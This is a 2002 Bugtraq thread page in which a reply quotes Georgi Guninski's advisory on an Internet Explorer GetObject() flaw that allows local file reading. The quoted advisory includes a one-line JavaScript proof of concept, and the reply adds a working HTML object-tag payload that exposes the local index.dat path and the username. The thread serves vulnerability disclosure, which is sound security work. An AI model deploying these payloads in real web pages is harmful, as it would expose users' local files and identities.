Bugtraq mailing list archives
Re: IE GetObject() problems
From: the Pull <osioniusx () yahoo com>
Date: Wed, 2 Jan 2002 00:20:40 -0800 (PST)
--- Georgi Guninski <guninski () guninski com> wrote:
Georgi Guninski security advisory #52, 2001 IE GetObject() problems Systems affected: Patched IE 6.0, somewhat patched 5.5 Win2K Risk: High Date: 1 January 2002 Legal Notice: This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The information in this advisory is believed to be true based on experiments though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: IE allows reading local files due to a bug in GetObject(). Reading local files may lead to executing arbitrary programs. Details: GetObject() has a bad security record - check http://www.guninski.com/browsers.html The new bug is quite similar to: http://www.guninski.com/getobject1-desc.html the difference being: ----------------------
a=GetObject("http://"+location.host+"/../../../../../../test.txt","htmlfile");
---------------------- It is funny that directory traversal on a http: URL leads to reading local files.
There are surely a lot more. I found one which gives local directory information including user name which uses directory traversal. Here is the universal location of index.dat: file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/Temporary%20Internet%20Files/Content.IE5/index.dat (There are a lot of url's like that, they have varying degrees of success depending on where they are put). The below object uses that url, in the alert that pops up it shows the full file path, ie, C:\Documents and Settings\UserName\Local Settings\Temporary Internet Files\Content.IE5 under the "Location" parameter value. <object classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" name="funObject" width=100% height=100%> <PARAM NAME="ExtentX" VALUE="5292"> <PARAM NAME="ExtentY" VALUE="7937"> <PARAM NAME="ViewMode" VALUE="1"> <PARAM NAME="Offline" VALUE="1"> <PARAM NAME="Silent" VALUE="1"> <PARAM NAME="RegisterAsBrowser" VALUE="1"> <PARAM NAME="RegisterAsDropTarget" VALUE="1"> <PARAM NAME="Height" VALUE="500"> <PARAM NAME="Width" VALUE="500"> <PARAM NAME="AutoArrange" VALUE="1"> <PARAM NAME="NoClientEdge" VALUE="1"> <PARAM NAME="AlignLeft" VALUE="1"> <PARAM NAME="Transparent" VALUE="1"> <PARAM NAME="ViewID" =VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}"> <PARAM NAME="Location" VALUE="javascript:document.writeln('<object classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" name="funObject2"><PARAM NAME="Location" VALUE="file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/Temporary%20Internet%20Files/Content.IE5/index.dat"></object><script>setTimeout("alert(funObject2.document.body.innerHTML)",500);</script\>')"> </object>
Workaround/Solution: Disable Active Scripting and never turn it on. Better, do not use IE in hostile environments such as the internet. Vendor status: Microsoft was notified on 11 December 2001. They had 3 weeks to produce a patch but didn't. Regards, Georgi Guninski http://www.guninski.com
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Current thread:
- IE GetObject() problems Georgi Guninski (Jan 01)
- Re: IE GetObject() problems the Pull (Jan 02)
- Re: IE GetObject() problems Michael Fellows (Jan 03)
- Re: IE GetObject() problems Georgi Guninski (Jan 04)